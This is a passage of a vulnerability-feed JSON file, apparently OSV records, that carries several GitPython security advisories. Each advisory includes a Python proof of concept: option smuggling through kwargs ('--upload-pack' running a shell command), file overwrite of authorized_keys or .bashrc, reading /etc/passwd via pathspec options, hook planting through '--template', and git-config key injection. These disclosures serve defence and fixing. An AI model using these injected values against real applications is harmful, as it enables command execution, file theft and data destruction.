— GitHub: @manus-use","severity":[{"type":"CVSS_V3","score":"CVSS:3.1/AV:N/AC:H/PR:L/UI:N/S:U/C:H/I:H/A:H"}],"references":[{"type":"WEB","url":"https://github.com/gitpython-developers/GitPython/security/advisories/GHSA-6p8h-3wgx-97gf"},{"type":"WEB","url":"https://github.com/gitpython-developers/GitPython/pull/2180"},{"type":"WEB","url":"https://github.com/gitpython-developers/GitPython/commit/ffcb5359e87619f4fe4a70a4aff5f08c5580ba97"},{"type":"PACKAGE","url":"https://github.com/gitpython-developers/GitPython"},{"type":"WEB","url":"https://github.com/gitpython-developers/GitPython/releases/tag/3.1.54"}]},{"schema_version":"1.7.3","id":"BREW-aider-CVE-2026-73624","published":"2026-08-14T08:50:09Z","modified":"2026-10-08T00:29:12Z","upstream":["GHSA-fjr4-x663-mwxc","CVE-2026-73624","PYSEC-2026-3995"],"affected":[{"package":{"ecosystem":"Homebrew","name":"aider","purl":"pkg:brew/aider"},"ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0.47.1"}]}],"ecosystem_specific":{"fix":null,"range_state":"affected","upstream_fixed_in":"3.1.54","resource":"gitpython","resource_purl":"pkg:pypi/gitpython@3.1.46"}}],"database_specific":{"source":"matched","strategy":"registry","confidence":"high","upstream_evidence":[{"strategy":"registry","ecosystem":"PyPI","name":"gitpython","subject_version":"3.1.46","key":"pkg:pypi/gitpython@3.1.46","resource":"gitpython"}]},"summary":"GitPython: Arbitrary file overwrite via git diff --output argument injection in Diffable.diff (key- and value-controlled)","details":"## Summary\n`Diffable.diff()` forwards `**kwargs` straight into `diff`/`diff_tree` with **no** `check_unsafe_options` guard. `Diffable` is mixed into `Commit`, `Tree`, `IndexFile`, and `Submodule`, giving a broad surface. `git diff --output=<path>` writes real patch content to an attacker-chosen path, enabling arbitrary file overwrite.\n\n## Root Cause\n`diff.py:188-283` builds and runs the diff command with no `check_unsafe_options` anywhere in the method (grep-confirmed). Additionally `diff.py:265` does `args.insert(0, other)`, placing the caller-supplied `other` ref BEFORE the `--` separator, so a value of `--output=/path` is parsed by git as an option — a value-only control path requiring no kwarg key.\n\n## Impact\nOverwrite/corrupt any file at process privilege with attacker-chosen path (e.g. `~/.ssh/authorized_keys`, configs, lockfiles). Content is real diff/patch bytes (attacker-influenced). Per the skill's rule, controlling WHICH file is overwritten = I:H regardless of content constraints.\n\n## Proof of Concept\n```python\n# Key-control:\ncommit.diff(other_commit, output='/home/app/.ssh/authorized_keys')   # victim overwritten with diff (105 bytes verified)\n# Value-control (attacker controls only the ref string):\ncommit.diff(other='--output=/home/app/.ssh/authorized_keys')          # 14-byte victim -> 146 bytes of diff-tree output\n```\n\n## Attack Chain\n1. Entry (value-control): `commit.diff(other=<user ref>)` with `other = \"--output=/home/app/.ssh/authorized_keys\"`. Guard: none in `Diffable.diff`. Bypass proof: no `check_unsafe_options` in the method body (grep); `other` inserted pre-`--` at diff.py:265.\n2. Sink: `git diff-tree <sha> --output=/home/app/.ssh/authorized_keys -r ...` -> git opens+truncates the target then writes diff content. Impact: overwrite/corrupt any file at process privilege (attacker chooses the path). Verified argv and victim overwrite live.\n\n## Bypass Evidence\nLive-verified on HEAD (tag 3.1.53): both key-control (`output=`) and value-control (`other='--output=...'`) overwrote a victim file with real diff-tree content; argv confirmed `['git','diff-tree','<sha>','--output=/victim','-r',...]`. This is the same value-control model GHSA-956x deemed fix-worthy for `iter_commits(rev='--output=')` — but `diff` is a distinct, unguarded sink NOT touched by that fix.\n\n## Affected Versions\n`<= 3.1.53`\n\n## Suggested Fix\nAdd `check_unsafe_options` to `Diffable.diff` (mirroring `iter_commits`/`archive`), and/or place `--end-of-options` before the `other` ref so it cannot be parsed as an option.\n\n---\nReported by **zx (Jace)** — GitHub: @manus-use","severity":[{"type":"CVSS_V3","score":"CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:H/A:H"}],"references":[{"type":"WEB","url":"https://github.com/gitpython-developers/GitPython/security/advisories/GHSA-fjr4-x663-mwxc"},{"type":"WEB","url":"https://github.com/gitpython-developers/GitPython/pull/2180"},{"type":"WEB","url":"https://github.com/gitpython-developers/GitPython/commit/1d51b891d7f236044a6aa17498ec682b63dad6e6"},{"type":"PACKAGE","url":"https://github.com/gitpython-developers/GitPython"},{"type":"WEB","url":"https://github.com/gitpython-developers/GitPython/releases/tag/3.1.54"}]},{"schema_version":"1.7.3","id":"BREW-aider-CVE-2026-73625","published":"2026-08-14T08:50:09Z","modified":"2026-10-08T00:29:13Z","upstream":["GHSA-r9mr-m37c-5fr3","CVE-2026-73625","PYSEC-2026-3953"],"affected":[{"package":{"ecosystem":"Homebrew","name":"aider","purl":"pkg:brew/aider"},"ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0.47.1"}]}],"ecosystem_specific":{"fix":null,"range_state":"affected","upstream_fixed_in":"3.1.54","resource":"gitpython","resource_purl":"pkg:pypi/gitpython@3.1.46"}}],"database_specific":{"source":"matched","strategy":"registry","confidence":"high","upstream_evidence":[{"strategy":"registry","ecosystem":"PyPI","name":"gitpython","subject_version":"3.1.46","key":"pkg:pypi/gitpython@3.1.46","resource":"gitpython"}]},"summary":"GitPython: Unsafe git option guard bypass via single-character kwarg value token smuggling enables arbitrary command execution","details":"## Summary\nGitPython's `check_unsafe_options` guard (the control introduced by CVE-2026-42215 / GHSA-2f96 and hardened since) can be bypassed for **every** guarded method (`clone`/`clone_from`, `fetch`/`pull`/`push`, `ls_remote`, `iter_commits`, `blame`, `archive`) by smuggling an option token inside the VALUE of a single-character kwarg. In the default `allow_unsafe_options=False` configuration this yields arbitrary command execution via `--upload-pack`.\n\n## Root Cause\nThe guard builds its candidate option list from kwarg KEYS only: `_option_candidates([], {\"n\":\"--upload-pack=<cmd>\"})` returns `['-n']` (cmd.py:1042-1046 derives the candidate from the key, never the value). `-n` is not on the denylist, so `check_unsafe_options` passes. But `transform_kwarg('n', value, split_single_char_options=True)` (cmd.py:1600-1606) emits **two** argv tokens `['-n', '--upload-pack=<cmd>']`. git then parses the second token as `--upload-pack` and executes the attacker-supplied command. The guard never inspects the value that becomes a separate argv token.\n\n## Impact\nArbitrary OS command execution as the host process (via `--upload-pack`) in the default configuration, affecting all guarded methods since they all build candidates through the name-only `_option_candidates`.\n\n## Proof of Concept\n```python\nfrom git import Repo\nRepo.clone_from(bare_repo, out_dir, n=\"--upload-pack=touch /tmp/ACE;git-upload-pack\")\n# /tmp/ACE created -> ACE. Direct-name form upload_pack=\"...\" is correctly BLOCKED.\n```\nFile-write variant on a guarded revision command: `iter_commits('HEAD', g='--output=/path')` -> candidate `['-g']` passes, argv `['-g','--output=/path']`, victim file truncated.\n\n## Attack Chain\n1. Entry: app forwards a user-supplied options dict -> `Repo.clone_from(url, path, n=\"--upload-pack=touch /tmp/ACE;git-upload-pack\")`. Guard: `check_unsafe_options(options=_option_candidates([], kwargs), unsafe=unsafe_git_clone_options)` at base.py. Bypass proof: `_option_candidates([], {\"n\":\"--upload-pack=...\"})` -> `['-n']` (key-only), not on denylist -> no UnsafeOptionError (verified live).\n2. Transform: `transform_kwarg('n', value, split_single_char_options=True)` -> `['-n', '--upload-pack=touch /tmp/ACE;git-upload-pack']`. Guard: none (guard already passed on name-only candidate). Bypass proof: verified transform emits two tokens.\n3. Sink: `git clone -n --upload-pack='touch ...;git-upload-pack' -- <src> <dst>`; git parses and runs the second token. Impact: ACE (marker created, verified end-to-end).\n\n## Bypass Evidence\nLive-verified on HEAD (tag 3.1.53): `_option_candidates` returns key-only candidate `['-n']`; `transform_kwargs` emits the smuggled `--upload-pack=` token; clone_from with the payload created the marker file; the direct-name `upload_pack=` form raised UnsafeOptionError. All prior bypasses (GHSA-rpm5 underscore key, GHSA-2f96 long-option abbreviation, GHSA-v396 joined short option, GHSA-x2qx multi-before-split) are BLOCKED on HEAD — this is a distinct kwarg-value->separate-token vector.\n\n## Affected Versions\n`<= 3.1.53`\n\n## Suggested Fix\nMake `_option_candidates` also emit candidates derived from single-character kwarg VALUES when `split_single_char_options` is in effect, OR run `check_unsafe_options` over the fully-transformed argv rather than the reconstructed name-only candidate list.\n\n---\nReported by **zx (Jace)** — GitHub: @manus-use","severity":[{"type":"CVSS_V3","score":"CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H"}],"references":[{"type":"WEB","url":"https://github.com/gitpython-developers/GitPython/security/advisories/GHSA-r9mr-m37c-5fr3"},{"type":"WEB","url":"https://github.com/gitpython-developers/GitPython/pull/2180"},{"type":"WEB","url":"https://github.com/gitpython-developers/GitPython/commit/e8d0fbf774d1f6baa3b481adfe48bd262e43b453"},{"type":"PACKAGE","url":"https://github.com/gitpython-developers/GitPython"},{"type":"WEB","url":"https://github.com/gitpython-developers/GitPython/releases/tag/3.1.54"}]},{"schema_version":"1.7.3","id":"BREW-aider-CVE-2026-76217","published":"2026-08-20T08:39:09Z","modified":"2026-10-08T00:29:12Z","upstream":["GHSA-hh9p-6wh2-4mfc","CVE-2026-76217","PYSEC-2026-3841"],"affected":[{"package":{"ecosystem":"Homebrew","name":"aider","purl":"pkg:brew/aider"},"ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0.47.1"}]}],"ecosystem_specific":{"fix":null,"range_state":"affected","upstream_fixed_in":"3.1.58","resource":"gitpython","resource_purl":"pkg:pypi/gitpython@3.1.46"}}],"database_specific":{"source":"matched","strategy":"registry","confidence":"high","upstream_evidence":[{"strategy":"registry","ecosystem":"PyPI","name":"gitpython","subject_version":"3.1.46","key":"pkg:pypi/gitpython@3.1.46","resource":"gitpython"}]},"summary":"GitPython: Arbitrary file read via --pathspec-from-file in IndexFile.remove() and Head.checkout()","details":"## Summary\n\n`IndexFile.remove()` and `Head.checkout()` forward `**kwargs` into `git rm` and `git checkout`\nwith no guard. Passing `--pathspec-from-file=<file>` **together with `--pathspec-file-nul`**\nmakes Git treat the whole file as a single NUL-delimited pathspec, and the unmatched-pathspec\nerror quotes it verbatim. GitPython surfaces that through `GitCommandError.stderr`, so the\nentire contents of a caller-chosen file are returned to the caller in band.\n\nThis is the same primitive as Instance 2 of\n[GHSA-3f7w-8rr8-f37f](https://github.com/advisories/GHSA-3f7w-8rr8-f37f) - `TagReference.create()`\nwith `-F`, arbitrary file read returned in band - at two sites that advisory assessed and\ncleared.\n\n## Prior art, and why I am filing rather than commenting\n\nGHSA-3f7w-8rr8-f37f's sweep table lists these four sites with the assessment\n*\"`--pathspec-from-file` only reads a pathspec; no write or disclosure primitive found\"*:\n\n| Call site | git command | that advisory's assessment |\n|---|---|---|\n| `IndexFile.remove()` | `rm` | `--pathspec-from-file` only reads a pathspec; no write or disclosure primitive found |\n| `IndexFile.move()` | `mv` | same |\n| `HEAD.reset()` | `reset` | same |\n| `HEAD.checkout()` | `checkout` | same |\n\nThat assessment is very nearly right, and I think that is why it held: with\n`--pathspec-from-file` alone, Git splits on newlines and the error quotes only the **first\nline**, which reads as an uninteresting partial. Adding `--pathspec-file-nul` - a sibling flag\nof the same option, and the documented way to handle paths containing newlines - makes the\nwhole file one pathspec.\n\n## Root cause\n\n`git/index/base.py:991-1043`:\n\n```python\ndef remove(self, items, working_tree=False, **kwargs):\n    ...\n    removed_paths = self.repo.git.rm(args, paths, **kwargs).splitlines()   # line 1043\n```\n\n`git/refs/head.py:237-268`:\n\n```python\ndef checkout(self, force: bool = False, **kwargs: Any):\n    ...\n    self.repo.git.checkout(self, **kwargs)                                 # line 268\n```\n\nNeither has an `allow_unsafe_options` parameter or a `check_unsafe_options()` call.\n\n## Proof of concept\n\n```python\nfrom git import Repo\nfrom git.exc import GitCommandError\n\nrepo = Repo(\"/path/to/repo\")\nkw = dict(pathspec_from_file=\"/etc/passwd\", pathspec_file_nul=True)\n\ntry:\n    repo.index.remove([], **kw)          # or: repo.heads[0].checkout(**kw)\nexcept GitCommandError as e:\n    print(e.stderr)                      # <- entire file contents\n```\n\nObserved on published 3.1.57, against a canary file holding three marked lines:\n\n```\n[PASS] IndexFile.remove() -> `git rm` returns ALL 3 canary lines in-band\n       stderr: 'fatal: pathspec 'LINE1-CANARY-4242\n       LINE2-SECRET-7777\n       LINE3-TAIL-9999\n       ' did not match any files'\n[PASS] Head.checkout() -> `git checkout` returns ALL 3 canary lines in-band\n       stderr: 'error: pathspec 'LINE1-CANARY-4242\n       LINE2-SECRET-7777\n       LINE3-TAIL-9999\n       ' did not match any file(s) known to git'\n[PASS] PRECISION: `git status` leaks 0/3 -- not every unguarded site discloses\n[PASS] PRECISION: the GUARDED checkout-index leaks 0/3\n```\n\nThe two precision controls are there so the result is about these sinks and not about the\ncanary being visible everywhere.\n\n## Scope correction to the table above\n\nOf the four sites cleared with that sentence, **two disclose and two do not**:\n\n| Call site | disclosed? |\n|---|---|\n| `IndexFile.remove()` → `git rm` | **yes, full file** |\n| `Head.checkout()` → `git checkout` | **yes, full file** |\n| `HEAD.reset()` → `git reset` | no - `git reset` does not error on unmatched pathspecs |\n| `IndexFile.move()` → `git mv` | no |\n\nThe two negatives are mentioned because \"the dismissal was wrong\" would overstate it: the\ndismissal was wrong for half of what it covered.","severity":[{"type":"CVSS_V3","score":"CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:N"}],"references":[{"type":"WEB","url":"https://github.com/gitpython-developers/GitPython/security/advisories/GHSA-hh9p-6wh2-4mfc"},{"type":"ADVISORY","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-76217"},{"type":"WEB","url":"https://github.com/gitpython-developers/GitPython/pull/2204"},{"type":"WEB","url":"https://github.com/gitpython-developers/GitPython/commit/f2550b65bf60ca087190981e2c7b6865e201f40c"},{"type":"PACKAGE","url":"https://github.com/gitpython-developers/GitPython"},{"type":"WEB","url":"https://github.com/gitpython-developers/GitPython/releases/tag/3.1.58"},{"type":"WEB","url":"https://www.vulncheck.com/advisories/gitpython-before-arbitrary-file-read-via-pathspec-from-file"}]},{"schema_version":"1.7.3","id":"BREW-aider-CVE-2026-76218","published":"2026-08-20T08:39:09Z","modified":"2026-10-08T00:29:12Z","upstream":["GHSA-9rj7-rf2p-w77r","CVE-2026-76218","PYSEC-2026-3840"],"affected":[{"package":{"ecosystem":"Homebrew","name":"aider","purl":"pkg:brew/aider"},"ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0.47.1"}]}],"ecosystem_specific":{"fix":null,"range_state":"affected","upstream_fixed_in":"3.1.58","resource":"gitpython","resource_purl":"pkg:pypi/gitpython@3.1.46"}}],"database_specific":{"source":"matched","strategy":"registry","confidence":"high","upstream_evidence":[{"strategy":"registry","ecosystem":"PyPI","name":"gitpython","subject_version":"3.1.46","key":"pkg:pypi/gitpython@3.1.46","resource":"gitpython"}]},"summary":"GitPython: Unguarded git option forwarding in Repo.init enables arbitrary command execution via --template clone hooks","details":"## Summary\n`Repo.init()` forwards `**kwargs` verbatim to `git init` with no unsafe-option guard and no `allow_unsafe_options` parameter. `git init --template=<dir>` copies `<dir>/hooks/*` into the new repo's `.git/hooks`, so an attacker-controlled `template` kwarg plants a hook that executes on the next git operation → arbitrary code execution. `--template` is already recognized as unsafe for clone (it is on `unsafe_git_clone_options`, and GHSA-6p8h-3wgx-97gf covers the clone path), but `Repo.init` is a distinct method that never received a guard and needs an independent fix.\n\n## Root Cause\n`Repo.init(path, mkdir, odbt, expand_vars, **kwargs)` is a bare `git.init(**kwargs)` (git/repo/base.py:1435) with no `check_unsafe_options` and no `allow_unsafe_options`.\n\n## Impact\nArbitrary code execution (hook fires on next git op) at the privileges of the host process. Two preconditions raise attack complexity (AC:H): the app must forward a `template=` kwarg (KEY control) AND the attacker must stage an executable hook directory at a known path — the same profile GHSA-6p8h-3wgx-97gf accepted as HIGH for the clone path. Default `allow_unsafe_options` is irrelevant here because `Repo.init` has no guard at all.\n\n## Proof of Concept\n```python\n# attacker stages /evil/hooks/post-commit (executable)\nfrom git import Repo\nRepo.init(path, template=\"/evil\")\n# next commit runs /evil/hooks/post-commit -> ACE\n```\n\n## Attack Chain\n1. Entry: attacker stages `/evil/hooks/post-commit` (executable) and gets the app to call `Repo.init(path, template='/evil')`.\n2. Check: NONE on `Repo.init`. Bypass proof: base.py:1435 is a bare `git.init(**kwargs)`. argv (observed): `['git','init','--template=/evil']`.\n3. Sink: git copies `/evil/hooks/post-commit` → `<repo>/.git/hooks/post-commit`.\n4. Impact: next commit runs the hook → arbitrary code execution.\n\n## Bypass Evidence\nIndependently reproduced (gate harness): `Repo.init(dst, template='<evil>')` → argv `['git','init','--template=<evil>']` unguarded; hook copied into `.git/hooks/post-commit`; after `git commit` the `INIT_ACE` marker was created. `--separate-git-dir=<path>` is a parallel arbitrary-redirect vector through the same unguarded sink (value control only).\n\n## Affected Versions\n`GitPython <= 3.1.57` (unguarded `git.init(**kwargs)` present verbatim on the latest release tag).\n\n## Suggested Fix\nAdd a `check_unsafe_options` guard (with an `allow_unsafe_options` parameter) to `Repo.init`, consulting a denylist that includes `--template` and `--separate-git-dir` (path-taking / hook-installing options).\n\n---\nReported by **zx (Jace)** — GitHub: @manus-use","severity":[{"type":"CVSS_V3","score":"CVSS:3.1/AV:N/AC:H/PR:L/UI:N/S:U/C:H/I:H/A:H"}],"references":[{"type":"WEB","url":"https://github.com/gitpython-developers/GitPython/security/advisories/GHSA-9rj7-rf2p-w77r"},{"type":"ADVISORY","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-76218"},{"type":"WEB","url":"https://github.com/gitpython-developers/GitPython/pull/2204"},{"type":"WEB","url":"https://github.com/gitpython-developers/GitPython/commit/d9ddb55bdc66"},{"type":"PACKAGE","url":"https://github.com/gitpython-developers/GitPython"},{"type":"WEB","url":"https://github.com/gitpython-developers/GitPython/releases/tag/3.1.58"},{"type":"WEB","url":"https://www.vulncheck.com/advisories/gitpython-before-remote-code-execution-via-repo-init"}]},{"schema_version":"1.7.3","id":"BREW-aider-CVE-2026-76219","published":"2026-08-20T08:39:09Z","modified":"2026-10-08T00:29:12Z","upstream":["GHSA-4gmw-gg2m-w46p","CVE-2026-76219","PYSEC-2026-3838"],"affected":[{"package":{"ecosystem":"Homebrew","name":"aider","purl":"pkg:brew/aider"},"ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0.47.1"}]}],"ecosystem_specific":{"fix":null,"range_state":"affected","upstream_fixed_in":"3.1.58","resource":"gitpython","resource_purl":"pkg:pypi/gitpython@3.1.46"}}],"database_specific":{"source":"matched","strategy":"registry","confidence":"high","upstream_evidence":[{"strategy":"registry","ecosystem":"PyPI","name":"gitpython","subject_version":"3.1.46","key":"pkg:pypi/gitpython@3.1.46","resource":"gitpython"}]},"summary":"GitPython: Unguarded git read-tree option forwarding in IndexFile.from_tree/reset/merge_tree enables arbitrary file overwrite","details":"## Summary\n`IndexFile.from_tree`, `IndexFile.reset` (→ from_tree) and `IndexFile.merge_tree` append caller-influenced treeish strings positionally to `git read-tree` with no unsafe-option guard, no `allow_unsafe_options` parameter, and no `--` separator. `git read-tree --index-output=<file>` writes the resulting index to an arbitrary path, and last-occurrence-wins lets an injected `--index-output` override the method's internal temp path — clobbering an arbitrary file with a valid git-index blob. This is a distinct, never-guarded sink: commit `3af0c251` (GHSA-3f7w-8rr8-f37f) guarded only `checkout_index` and `tag`; `read_tree` was left unprotected (it is among the acknowledged unguarded call sites in that advisory's sweep but was never reported or fixed).\n\n## Root Cause\n`from_tree` (index/base.py:388), `reset` (delegates to from_tree), and `merge_tree` (index/base.py:291) call `repo.git.read_tree(*arg_list)` with no `check_unsafe_options` and no `--`. The treeish is caller-influenced and positional.\n\n## Impact\nArbitrary file overwrite / destruction at the privileges of the host process. Content is constrained to a git-index blob (not attacker-chosen, so not RCE), but the target path is fully attacker-controlled — corrupting/truncating configs or destroying files at attacker-chosen writable locations = I:H + A:H (per the skill's \"overwrite-any-path = I:H\" rule). Pure VALUE control (positional treeish). Default configuration.\n\n## Proof of Concept\n```python\nIndexFile.from_tree(repo, \"--index-output=/home/victim/.bashrc\")\n# target overwritten with a valid git-index blob (DIRC...)\n```\n\n## Attack Chain\n1. Entry: app calls `IndexFile.from_tree(repo, treeish)` / `reset(commit=…)` / `merge_tree(base=…, rhs=…)` with attacker `treeish=\"--index-output=/home/victim/.bashrc\"`.\n2. Check: NONE — the methods have no `allow_unsafe_options` and never call `check_unsafe_options`.\n3. Sink: `repo.git.read_tree(*arg_list)` — no `--`. argv (from_tree, observed): `['git','read-tree','--index-output=<tmp>','--index-output=/…/victim']` (last-wins).\n4. Impact: target path created/overwritten with a valid git-index blob; existing content destroyed.\n\n## Bypass Evidence\nIndependently reproduced (gate harness): `IndexFile.from_tree(repo,'--index-output=<victim>')` → victim overwritten; before=`IMPORTANT ORIGINAL CONTENT`, after starts `DIRC\\x00\\x00\\x00\\x02…` (destructive clobber, valid index blob). `reset(commit=…)` and both `merge_tree` positionals verified. Fix-commit read: `3af0c251` touched only `checkout_index`+`tag`; `read_tree` untouched on HEAD.\n\n## Affected Versions\n`GitPython <= 3.1.57` (sinks present verbatim on the latest release tag).\n\n## Suggested Fix\nAdd a `check_unsafe_options` guard (with an `allow_unsafe_options` parameter) to `from_tree`/`reset`/`merge_tree`, and/or place a `--` separator before the positional treeish arguments; block `--index-output` (a path-taking option) on this sink.","severity":[{"type":"CVSS_V3","score":"CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:H/A:H"}],"references":[{"type":"WEB","url":"https://github.com/gitpython-developers/GitPython/security/advisories/GHSA-4gmw-gg2m-w46p"},{"type":"ADVISORY","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-76219"},{"type":"WEB","url":"https://github.com/gitpython-developers/GitPython/pull/2204"},{"type":"WEB","url":"https://github.com/gitpython-developers/GitPython/commit/9b5dcaf85da5946dbf69dcd53f9edba08f760b32"},{"type":"PACKAGE","url":"https://github.com/gitpython-developers/GitPython"},{"type":"WEB","url":"https://github.com/gitpython-developers/GitPython/releases/tag/3.1.58"},{"type":"WEB","url":"https://www.vulncheck.com/advisories/gitpython-before-arbitrary-file-overwrite-via-read-tree"}]},{"schema_version":"1.7.3","id":"BREW-aider-CVE-2026-76220","published":"2026-08-20T08:39:09Z","modified":"2026-10-08T00:29:13Z","upstream":["GHSA-wvpp-8hx9-p66j","CVE-2026-76220","PYSEC-2026-3843"],"affected":[{"package":{"ecosystem":"Homebrew","name":"aider","purl":"pkg:brew/aider"},"ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0.47.1"}]}],"ecosystem_specific":{"fix":null,"range_state":"affected","upstream_fixed_in":"3.1.58","resource":"gitpython","resource_purl":"pkg:pypi/gitpython@3.1.46"}}],"database_specific":{"source":"matched","strategy":"registry","confidence":"high","upstream_evidence":[{"strategy":"registry","ecosystem":"PyPI","name":"gitpython","subject_version":"3.1.46","key":"pkg:pypi/gitpython@3.1.46","resource":"gitpython"}]},"summary":"GitPython: Unsafe git option guard bypass via split_single_char_options=False short-option token smuggling enables command execution","details":"## Summary\nThe `check_unsafe_options` guard can be bypassed on every guarded method (clone/clone_from, fetch/pull/push, ls_remote, iter_commits, blame, archive) by combining a single-character kwarg with `split_single_char_options=False`. The guard's candidate list omits the smuggled option, but `transform_kwarg` emits a JOINED `-n<value>` argv token that git parses as `--upload-pack=<cmd>`, yielding arbitrary command execution at the default `allow_unsafe_options=False`. This is an incomplete-fix bypass of commit `e8d0fbf7` (the fix for GHSA-r9mr-m37c-5fr3), which only emits value-derived candidates when `split_single_char_options` is True.\n\n## Root Cause\n`_option_candidates` derives value-token candidates only under `if len(key)==1 and split_single_char_options:` (cmd.py:1048, added by `e8d0fbf7`). With `split_single_char_options=False`, `_option_candidates([], {\"n\":\"utouch <cmd>;git-upload-pack\"})` returns only `['-n']` (not on the denylist), so the guard passes. But `transform_kwarg('n', value, split_single_char_options=False)` emits the JOINED token `-nutouch <cmd>;git-upload-pack` (cmd.py:1631). git clusters value-less short flags then parses `-u<cmd>` = `--upload-pack=<cmd>` → command execution. The hardened guard WOULD block the joined token if it saw it — the flaw is it never receives it.\n\n## Impact\nArbitrary OS command execution as the host process (via `--upload-pack`) at default `allow_unsafe_options=False`, affecting all guarded methods that forward kwargs. Precondition: the app forwards a user-controlled kwargs dict containing `split_single_char_options=False` plus a single-char key (same user-dict-forwarding model GHSA-r9mr-m37c-5fr3 accepts).\n\n## Proof of Concept\n```python\nfrom git import Repo\nRepo.clone_from(src, dst,\n    n=\"utouch /tmp/ACE;git-upload-pack\",\n    split_single_char_options=False)   # /tmp/ACE created -> ACE\n```\n\n## Attack Chain\n1. Entry: app forwards user kwargs to `Repo.clone_from(url, path, **kwargs)`: `{split_single_char_options: False, n: 'utouch /tmp/ACE;git-upload-pack'}`.\n2. Check: `check_unsafe_options(_option_candidates([], kwargs), unsafe_git_clone_options)`. Guard: denylist includes `--upload-pack`/`-u`. Bypass proof: `_option_candidates` yields only `['-n']` (value token skipped because `split=False`); guard never sees `-u`.\n3. Sink: `transform_kwarg` emits joined token (cmd.py:1631). argv (observed): `['git','clone','-v','-nutouch /tmp/ACE;git-upload-pack','--','<src>','<dst>']`.\n4. Impact: git clusters `-n` + `-u<cmd>` → runs upload-pack command → ACE.\n\n## Bypass Evidence\nIndependently reproduced (gate harness, default `allow_unsafe_options=False`): the `split=False` payload created the marker `VH05_GATE_ACE` (ACE); the clone returned normally (guard bypassed). Control: `n='--upload-pack=…'` (split default True) → `UnsafeOptionError: --upload-pack is not allowed`. Fix-commit read: `e8d0fbf7` extends candidates only under `if len(key)==1 and split_single_char_options:` — split=False skips value emission. Also confirmed the earlier clustering-parse fix (commit `56806080`) does not cover this because the guard only ever receives `['-n']`.\n\n## Affected Versions\n`GitPython <= 3.1.57` (code present verbatim on the latest release tag).\n\n## Suggested Fix\nMake `_option_candidates` emit value-derived candidates regardless of `split_single_char_options` (i.e. also for the joined `-n<value>` form), OR run `check_unsafe_options` over the fully-transformed argv rather than the reconstructed name-only candidate list.\n\n---\nReported by **zx (Jace)** — GitHub: @manus-use","severity":[{"type":"CVSS_V3","score":"CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H"}],"references":[{"type":"WEB","url":"https://github.com/gitpython-developers/GitPython/security/advisories/GHSA-wvpp-8hx9-p66j"},{"type":"ADVISORY","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-76220"},{"type":"WEB","url":"https://github.com/gitpython-developers/GitPython/pull/2204"},{"type":"WEB","url":"https://github.com/gitpython-developers/GitPython/commit/96a888f4d782cb2f80452148e48e60ce4af6d541"},{"type":"PACKAGE","url":"https://github.com/gitpython-developers/GitPython"},{"type":"WEB","url":"https://github.com/gitpython-developers/GitPython/releases/tag/3.1.58"},{"type":"WEB","url":"https://www.vulncheck.com/advisories/gitpython-before-command-execution-via-split-single-char-options"}]},{"schema_version":"1.7.3","id":"BREW-aider-CVE-2026-76221","published":"2026-08-20T08:39:09Z","modified":"2026-10-08T00:29:12Z","upstream":["GHSA-jm78-9fvv-mhgr","CVE-2026-76221","PYSEC-2026-3783"],"affected":[{"package":{"ecosystem":"Homebrew","name":"aider","purl":"pkg:brew/aider"},"ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0.47.1"}]}],"ecosystem_specific":{"fix":null,"range_state":"affected","upstream_fixed_in":"3.1.58","resource":"gitpython","resource_purl":"pkg:pypi/gitpython@3.1.46"}}],"database_specific":{"source":"matched","strategy":"registry","confidence":"high","upstream_evidence":[{"strategy":"registry","ecosystem":"PyPI","name":"gitpython","subject_version":"3.1.46","key":"pkg:pypi/gitpython@3.1.46","resource":"gitpython"}]},"summary":"GitPython: git-config OPTION-name injection via =/#/whitespace bypasses name validator, enabling forged core.sshCommand/hooksPath (RCE)","details":"## Summary\nGitPython's config-name validator only neutralizes CR/LF/NUL for the `\"option\"` label; it does not reject `=`, `#`, `;`, `[`, `]`, or whitespace in an **option name**. `write_section` writes the option name verbatim into the config file, so an option name such as `sshCommand = touch <cmd> #` is written as `\\tsshCommand = touch <cmd> # = <value>`, which git parses as `core.sshCommand = touch <cmd>` (the trailing `#` comments out the intended value). This forges arbitrary config directives (`core.sshCommand`, `core.hooksPath`, `alias.*`) → RCE on the next git operation. This is a distinct field (option name, not section name) and distinct character class (`=`/`#`/space, not newline/bracket) from GHSA-3rp5-jjmw-4wv2 (section-name bracket injection) and GHSA-mv93-w799-cj2w / GHSA-v87r-6q3f-2j67 (newline injection).\n\n## Root Cause\n`_assure_config_name_safe(name, label)` (`git/config.py:897`) applies the bracket/quote state machine ONLY when `label == \"section\"`; for the `\"option\"` label it falls through with just the `UNSAFE_CONFIG_CHARS_RE = [\\r\\n\\x00]` regex. `write_section` then writes the option name verbatim into `\"\\t%s = %s\\n\"` (config.py:702).\n\n## Impact\nArbitrary git-config directive injection → remote code execution via `core.sshCommand` (fires on any ssh git operation, no staged file needed) or `core.hooksPath` (with a staged hook). Requires the embedding application to forward a caller-influenced OPTION NAME into the config writer (name-control model, the same name-control model accepted by the related published advisories GHSA-3rp5-jjmw-4wv2 and GHSA-mv93-w799-cj2w). Default configuration.\n\n## Proof of Concept\n```python\nwith repo.config_writer() as cw:\n    cw.set_value(\"core\", \"sshCommand = touch /tmp/RCE #\", \"x\")\n# git config --get core.sshCommand  ->  touch /tmp/RCE\n```\n\n## Attack Chain\n1. Entry: app calls config writer with attacker-controlled OPTION name: `set_value(\"core\", \"sshCommand = touch /tmp/RCE #\", \"x\")`.\n2. Check: `_assure_config_name_safe(option, \"option\")` @ config.py. Guard: regex matches only `[\\r\\n\\x00]`; bracket/quote state machine is gated on `label==\"section\"`. Bypass proof: `=`,`#`,space pass → no `ValueError`.\n3. Sink: `write_section` writes `\"\\tsshCommand = touch /tmp/RCE # = 